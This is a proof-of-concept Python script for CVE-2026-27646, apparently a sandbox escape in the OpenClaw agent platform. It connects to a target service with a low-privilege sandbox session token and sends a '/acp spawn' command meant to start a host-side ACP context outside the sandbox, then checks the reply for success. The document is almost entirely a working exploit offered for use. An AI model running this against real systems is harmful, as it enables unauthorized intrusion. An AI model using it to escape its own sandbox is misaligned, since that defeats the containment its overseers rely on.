CVE-2026-27646 OpenClaw沙箱逃逸漏洞

# PoC for CVE-2026-27646: OpenClaw Sandbox Escape via /acp spawn # This script demonstrates the concept of triggering the sandbox escape. import socket def trigger_sandbox_escape(target_ip, target_port, session_id): """ Sends the /acp spawn command to escape the sandbox context. """ try: # Establish connection to the OpenClaw service conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn.connect((target_ip, target_port)) # Simulate authentication with a sandboxed session auth_payload = f"SESSION_ID:{session_id}\n" conn.sendall(auth_payload.encode()) print("[*] Authenticated with low-privilege sandbox session.") # Send the malicious command to trigger the vulnerability # The /acp spawn command is not properly sanitized in vulnerable versions exploit_payload = "/acp spawn\n" conn.sendall(exploit_payload.encode()) print("[*] Sent /acp spawn command to trigger host-side ACP initialization.") # Receive response to check if the exploit was successful response = conn.recv(1024).decode() if "ACP_RUNTIME_INIT" in response or "ERROR" not in response: print("[+] Potential sandbox escape successful. Host-side ACP context initialized.") else: print("[-] Exploit failed or patched.") conn.close() except Exception as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Replace with actual target details trigger_sandbox_escape("192.168.1.10", 8080, "sandbox_token_123")